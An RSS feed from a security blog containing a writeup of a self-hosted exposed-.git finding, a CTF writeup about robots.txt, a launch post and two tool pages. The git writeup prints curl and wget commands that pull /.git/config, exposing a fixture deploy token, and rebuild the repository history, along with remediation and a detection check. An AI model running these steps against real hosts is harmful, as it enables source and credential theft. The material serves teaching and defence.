<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>skeletonsec</title><link>https://skeletonsec.com/</link><description>vulnerability research · exploit development · reverse engineering</description><generator>Hugo -- gohugo.io</generator><language>en</language><managingEditor>chattr@linux.com (Ahmed Ibrahim)</managingEditor><lastBuildDate>Thu, 06 Aug 2026 23:30:00 +0000</lastBuildDate><atom:link href="https://skeletonsec.com/index.xml" rel="self" type="application/rss+xml"/><item><title>dissecting a git-exposure finding: anatomy of an information leak</title><link>https://skeletonsec.com/research/git-exposure-anatomy/</link><pubDate>Thu, 06 Aug 2026 23:30:00 +0000</pubDate><author>chattr@linux.com (Ahmed Ibrahim)</author><guid>https://skeletonsec.com/research/git-exposure-anatomy/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Site fixture.&lt;/strong&gt; This post exists to pin the research template to
something concrete. The target is a demo app I stood up on my own box;
no third party was tested, and the leaked credential below is a dead
fixture token. The bug class, the requests, and the reconstruction steps
are real and reproducible.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="tldr"&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;What:&lt;/strong&gt; the demo app serves its &lt;code&gt;.git&lt;/code&gt; directory over HTTP.
&lt;code&gt;GET /.git/config&lt;/code&gt; returns 200 with the repository config.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Impact:&lt;/strong&gt; full source disclosure (working tree + history), plus any
secret committed or embedded in a remote URL. Here: a deploy token in
the &lt;code&gt;origin&lt;/code&gt; remote.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE status:&lt;/strong&gt; none — self-hosted fixture. On a real target this class
is CWE-527 (Exposure of Version-Control Repository to an Unauthorized
Control Sphere); severity &lt;strong&gt;medium&lt;/strong&gt; here, scaling with what the repo
contains.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="target--scope"&gt;Target &amp;amp; scope&lt;/h2&gt;
&lt;p&gt;Self-hosted demo: nginx 1.25 serving a static export of a small app at
&lt;code&gt;http://127.0.0.1:8080/&lt;/code&gt;, deployed by a script that rsyncs the working
tree into the webroot. Scope was my own machine only.&lt;/p&gt;
&lt;h2 id="root-cause"&gt;Root cause&lt;/h2&gt;
&lt;p&gt;Two failures compose:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The deploy step copies the &lt;em&gt;working tree&lt;/em&gt; — &lt;code&gt;.git&lt;/code&gt; included — instead
of a clean export:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# deploy.sh (fixture)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rsync -a --delete ./app/ /var/www/demo/ &lt;span class="c1"&gt;# .git rides along&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;nginx has no dotfile deny rule, so anything under the webroot is
servable:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-nginx" data-lang="nginx"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;server&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;listen&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;root&lt;/span&gt; &lt;span class="s"&gt;/var/www/demo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# nothing blocks /.git, /.env, /.svn
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Neither is exotic. That is the point: this bug is a default, not a
mistake someone has to work at.&lt;/p&gt;
&lt;h2 id="exploitation"&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;Step one is a single request. No tooling beyond &lt;code&gt;curl&lt;/code&gt;:&lt;/p&gt;
&lt;aside class="evidence-box"&gt;
&lt;span class="evidence-label"&gt;evidence — the request pair&lt;/span&gt;
&lt;div class="evidence-body"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ curl -s -o /dev/null -w &amp;#34;%{http_code}\n&amp;#34; http://127.0.0.1:8080/.git/config
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;200
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ curl -s http://127.0.0.1:8080/.git/config
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[core]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; repositoryformatversion = 0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; filemode = true
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; bare = false
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[remote &amp;#34;origin&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; url = https://deploy:ghp_FIXTUREdeadbeefdeadbeefdeadbeef00@github.com/skeletonsec/demo-target.git
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[branch &amp;#34;main&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; remote = origin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; merge = refs/heads/main
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;/aside&gt;
&lt;p&gt;From there, reconstruction is mechanical — mirror the directory, check
out the tree, read the history:&lt;/p&gt;
&lt;aside class="evidence-box"&gt;
&lt;span class="evidence-label"&gt;evidence — repository reconstruction&lt;/span&gt;
&lt;div class="evidence-body"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ wget -q --mirror --no-parent http://127.0.0.1:8080/.git/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ cd 127.0.0.1:8080 &amp;amp;&amp;amp; git checkout -- .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ git log --oneline | head -3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a1b2c3d remove token from config (oops)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;9f8e7d6 add deploy workflow
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;5e4d3c2 initial import
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ git show 9f8e7d6:deploy.sh | grep -c token
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;/aside&gt;
&lt;p&gt;Two things fall out: the full source, and — because &amp;ldquo;remove the secret&amp;rdquo;
commits never remove secrets — the token survives in history even after
it is scrubbed from HEAD.&lt;/p&gt;
&lt;h2 id="remediation"&gt;Remediation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Deny dotfiles at the edge. For nginx:
&lt;code&gt;location ~ /\.(git|svn|env|hg) { return 404; }&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Deploy a clean export (&lt;code&gt;git archive&lt;/code&gt;, a build artifact, a CI checkout
with &lt;code&gt;--depth 1&lt;/code&gt; into a temp dir), never the working tree.&lt;/li&gt;
&lt;li&gt;Rotate anything the repo ever contained. The fixture token above is
dead by construction; a real one is compromised the moment &lt;code&gt;/.git&lt;/code&gt; is
reachable, and history scrubbing does not un-leak it.&lt;/li&gt;
&lt;li&gt;Detect it yourself first: &lt;code&gt;curl -s -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; https://your-host/.git/config&lt;/code&gt; in the deploy pipeline; fail the deploy
on anything but 404.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="disclosure-timeline"&gt;Disclosure timeline&lt;/h2&gt;
&lt;p&gt;Fixture timeline — the format, not a real vendor dance. On a third-party
finding this table tracks report → acknowledgment → fix → publish.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;date (UTC)&lt;/th&gt;
&lt;th&gt;event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2026-08-01&lt;/td&gt;
&lt;td&gt;demo target stood up with the misconfiguration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-08-01&lt;/td&gt;
&lt;td&gt;exposure found during enumeration (&lt;code&gt;/.git/config&lt;/code&gt; → 200)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-08-02&lt;/td&gt;
&lt;td&gt;repository reconstructed; impact scoped (source + fixture token)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-08-02&lt;/td&gt;
&lt;td&gt;fix deployed (dotfile deny + clean export); re-tested → 404&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-08-06&lt;/td&gt;
&lt;td&gt;published&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="artifacts"&gt;Artifacts&lt;/h2&gt;
&lt;p&gt;Reproducer scripts and the demo-target definition live under
&lt;a href="https://github.com/skeletonsec"&gt;github.com/skeletonsec&lt;/a&gt;. If you run this
against anything, run it against your own deploy pipeline — that is where
the class actually bites.&lt;/p&gt;</description></item><item><title>skeletonsec is online</title><link>https://skeletonsec.com/research/skeletonsec-is-online/</link><pubDate>Thu, 06 Aug 2026 21:00:00 +0000</pubDate><author>chattr@linux.com (Ahmed Ibrahim)</author><guid>https://skeletonsec.com/research/skeletonsec-is-online/</guid><description>&lt;p&gt;This site is live. skeletonsec — my research lab — now has a front door
that isn&amp;rsquo;t a GitHub profile page. Static HTML, system fonts, no trackers,
no JavaScript. View source; that &lt;em&gt;is&lt;/em&gt; the stack.&lt;/p&gt;
&lt;h2 id="what-gets-published-here"&gt;What gets published here&lt;/h2&gt;
&lt;p&gt;Three kinds of posts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability research.&lt;/strong&gt; 0/1/N-day work — root cause, the primitive,
the exploit path, the fix. Patch-diff and variant-analysis notes when a
disclosed fix is more instructive than the advisory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CTF writeups.&lt;/strong&gt; Organized by event as series — recon, the bug,
exploitation, flag, lessons. The ones where I lost hours to a stupid
assumption are the most worth writing down, so those get written first.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tool design notes.&lt;/strong&gt; Why a tool is built the way it is, with
benchmarks and the mistakes that shaped it.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="the-rule"&gt;The rule&lt;/h2&gt;
&lt;p&gt;Everything here answers to one doctrine: &lt;strong&gt;claims carry evidence&lt;/strong&gt;. A bug
without a reproducer is a rumor. A benchmark without a method section is
marketing. If I can&amp;rsquo;t show you the request pair, the crashing input, or
the script, the post doesn&amp;rsquo;t ship. Expect every writeup to end with
something you can run.&lt;/p&gt;
&lt;h2 id="the-tools"&gt;The tools&lt;/h2&gt;
&lt;p&gt;Two open-source projects live under the lab and will get design notes
here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/skeletonsec/authprobe"&gt;authprobe&lt;/a&gt; — authenticated-session
record/refresh/export for DAST. &lt;strong&gt;Shipped&lt;/strong&gt;, and the first design-notes
post is already outlined.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/skeletonsec/skelet0n"&gt;skelet0n&lt;/a&gt; — a staged research
conductor with a tamper-evident evidence ledger. &lt;strong&gt;Phase 0&lt;/strong&gt;: the engine
and ledger are real; swarm and local RAG are Phase 2 and I&amp;rsquo;ll say so on
the tin.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="cadence"&gt;Cadence&lt;/h2&gt;
&lt;p&gt;Writeups land when the work is done — with reproducers. No schedule, no
filler. The &lt;a href="https://skeletonsec.com/index.xml"&gt;RSS feed&lt;/a&gt; and
&lt;a href="https://github.com/skeletonsec"&gt;github.com/skeletonsec&lt;/a&gt; are the ways to
know when something lands.&lt;/p&gt;</description></item><item><title>demo ctf 2026 — baby steps</title><link>https://skeletonsec.com/writeups/demo-ctf-2026/baby-steps/</link><pubDate>Thu, 06 Aug 2026 19:00:00 +0000</pubDate><author>chattr@linux.com (Ahmed Ibrahim)</author><guid>https://skeletonsec.com/writeups/demo-ctf-2026/baby-steps/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Training fixture.&lt;/strong&gt; Demo CTF 2026 is an invented event I host against
myself. The challenge, the box, and the flag are mine; this writeup
exists to keep the format — including the failed attempts — honest.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="description"&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;baby steps&lt;/strong&gt; — web, 100 pts&lt;/p&gt;
&lt;p&gt;&amp;ldquo;Our new site is so secure even the crawlers behave.&amp;rdquo;
&lt;code&gt;http://demo-ctf.local:9000/&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A single static-looking page reading &lt;em&gt;&amp;ldquo;nothing to see here.&amp;rdquo;&lt;/em&gt; No files
attached, no parameters, no forms. Easy tier: the challenge is about
looking where the site tells you &lt;em&gt;not&lt;/em&gt; to look.&lt;/p&gt;
&lt;h2 id="thought-process"&gt;Thought process&lt;/h2&gt;
&lt;h3 id="failed-attempt-1--brute-force-before-reading"&gt;Failed attempt 1 — brute force before reading&lt;/h3&gt;
&lt;p&gt;I pointed &lt;code&gt;feroxbuster&lt;/code&gt; at the root with a common wordlist before doing
any manual enumeration. Ten minutes, a few thousand requests, one hit:
&lt;code&gt;/robots.txt&lt;/code&gt; — which I had &lt;em&gt;not read yet&lt;/em&gt;. Classic own goal: the scanner
found the map and I ignored it.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ feroxbuster -u http://demo-ctf.local:9000/ -w common.txt -q
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="m"&gt;200&lt;/span&gt; GET 21l 45w 402c http://demo-ctf.local:9000/robots.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# ... nothing else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="failed-attempt-2--taking-the-page-at-face-value"&gt;Failed attempt 2 — taking the page at face value&lt;/h3&gt;
&lt;p&gt;After finally reading &lt;code&gt;robots.txt&lt;/code&gt; (below) I fetched the disallowed path,
saw a page that said &lt;strong&gt;&amp;ldquo;flag is not here&amp;rdquo;&lt;/strong&gt;, and briefly went back to
fuzzing for other paths. Cost: another few minutes. The page was lying by
omission — I had read the rendered text but not the source. On a static
challenge, view-source is not optional.&lt;/p&gt;
&lt;h2 id="solution"&gt;Solution&lt;/h2&gt;
&lt;p&gt;Two requests. First, the map the site hands you for free:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ curl -s http://demo-ctf.local:9000/robots.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;User-agent: *
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Disallow: /s3cr3t-adm1n/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;Disallow&lt;/code&gt; is an instruction to polite crawlers, not an access control —
the path serves 200 to anyone who asks. Asking, and reading the &lt;em&gt;source&lt;/em&gt;
this time:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ curl -s http://demo-ctf.local:9000/s3cr3t-adm1n/ &lt;span class="p"&gt;|&lt;/span&gt; grep -io &lt;span class="s1"&gt;&amp;#39;flag{[^}]*}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;flag&lt;span class="o"&gt;{&lt;/span&gt;robots_txt_is_a_map_not_a_fence&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The rendered page says &amp;ldquo;flag is not here&amp;rdquo;; the HTML source carries the
flag in a comment immediately under it.&lt;/p&gt;
&lt;h2 id="flag"&gt;Flag&lt;/h2&gt;
&lt;aside class="evidence-box"&gt;
&lt;span class="evidence-label"&gt;evidence — flag, with proof&lt;/span&gt;
&lt;div class="evidence-body"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;flag{robots_txt_is_a_map_not_a_fence}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;proof: &lt;code&gt;curl -s http://demo-ctf.local:9000/s3cr3t-adm1n/&lt;/code&gt; returns 200 and
the string above sits in an HTML comment in the response body — served
by the challenge box, no client-side tricks.&lt;/p&gt;&lt;/div&gt;
&lt;/aside&gt;
&lt;h2 id="lessons"&gt;Lessons&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Read &lt;code&gt;robots.txt&lt;/code&gt; (and &lt;code&gt;sitemap.xml&lt;/code&gt;, and &lt;code&gt;.well-known/&lt;/code&gt;) &lt;em&gt;before&lt;/em&gt;
reaching for a wordlist. The scanner is a supplement, not a substitute.&lt;/li&gt;
&lt;li&gt;Rendered text is a suggestion; source is the truth. Grep every response
for the flag format early: &lt;code&gt;grep -io 'flag{[^}]*}'&lt;/code&gt; costs nothing.&lt;/li&gt;
&lt;li&gt;For defenders: &lt;code&gt;Disallow&lt;/code&gt; does not protect anything. If a path must not
be public, authenticate it — or better, don&amp;rsquo;t deploy it.&lt;/li&gt;
&lt;li&gt;Next practice: same shape, harder tier — a disallowed path behind a
referer/header check, to drill request malleation instead of plain curl.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>skelet0n</title><link>https://skeletonsec.com/projects/skelet0n/</link><pubDate>Thu, 06 Aug 2026 13:00:00 +0000</pubDate><author>chattr@linux.com (Ahmed Ibrahim)</author><guid>https://skeletonsec.com/projects/skelet0n/</guid><description>&lt;p&gt;&lt;strong&gt;A staged research conductor with a tamper-evident evidence ledger.&lt;/strong&gt;
Status: phase 0.&lt;/p&gt;
&lt;h2 id="the-problem"&gt;The problem&lt;/h2&gt;
&lt;p&gt;A research engagement is dozens of tools, notes, and dead ends. By the
time a finding lands, the evidence for it is scattered across terminals
and screenshots — or gone. &amp;ldquo;Trust me, it crashed&amp;rdquo; is not a finding.&lt;/p&gt;
&lt;p&gt;skelet0n conducts the pipeline stage by stage and writes every
claim/evidence pair into a hash-chained ledger: alter any record and the
chain breaks. Findings keep their receipts from hypothesis to report.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phase honesty:&lt;/strong&gt; the engine and the ledger are real and shipped. The
agent swarm and the local RAG are Phase 2 — planned, not present, and
labeled as such everywhere they are mentioned.&lt;/p&gt;
&lt;h2 id="install"&gt;Install&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go install github.com/skeletonsec/skelet0n/cmd/skelet0n@latest
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="demo"&gt;Demo&lt;/h2&gt;
&lt;h2 id="links"&gt;Links&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;repo: &lt;a href="https://github.com/skeletonsec/skelet0n"&gt;github.com/skeletonsec/skelet0n&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;license: Apache-2.0&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>authprobe</title><link>https://skeletonsec.com/projects/authprobe/</link><pubDate>Thu, 06 Aug 2026 12:00:00 +0000</pubDate><author>chattr@linux.com (Ahmed Ibrahim)</author><guid>https://skeletonsec.com/projects/authprobe/</guid><description>&lt;p&gt;&lt;strong&gt;Authenticated-session record/refresh/export for DAST.&lt;/strong&gt; Status: shipped.&lt;/p&gt;
&lt;h2 id="the-problem"&gt;The problem&lt;/h2&gt;
&lt;p&gt;DAST tools are good at crawling and bad at staying logged in. Session
state lives in browser cookies, headers, CSRF tokens, and rotating
refresh tokens — and every scanner re-implements capture, badly, in its
own format. ZAP wants a context, nuclei wants headers, your own scripts
want a cookie jar. One login, three formats, zero portability.&lt;/p&gt;
&lt;p&gt;authprobe records one real login, detects expiry and replays the refresh
path, and exports every format from that single source of truth. Sessions
are credentials: they never leave the box.&lt;/p&gt;
&lt;h2 id="install"&gt;Install&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go install github.com/skeletonsec/authprobe/cmd/authprobe@latest
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="demo"&gt;Demo&lt;/h2&gt;
&lt;h2 id="links"&gt;Links&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;repo: &lt;a href="https://github.com/skeletonsec/authprobe"&gt;github.com/skeletonsec/authprobe&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;license: Apache-2.0&lt;/li&gt;
&lt;li&gt;design notes: land as posts in this section (first one is in draft)&lt;/li&gt;
&lt;/ul&gt;</description></item></channel></rss>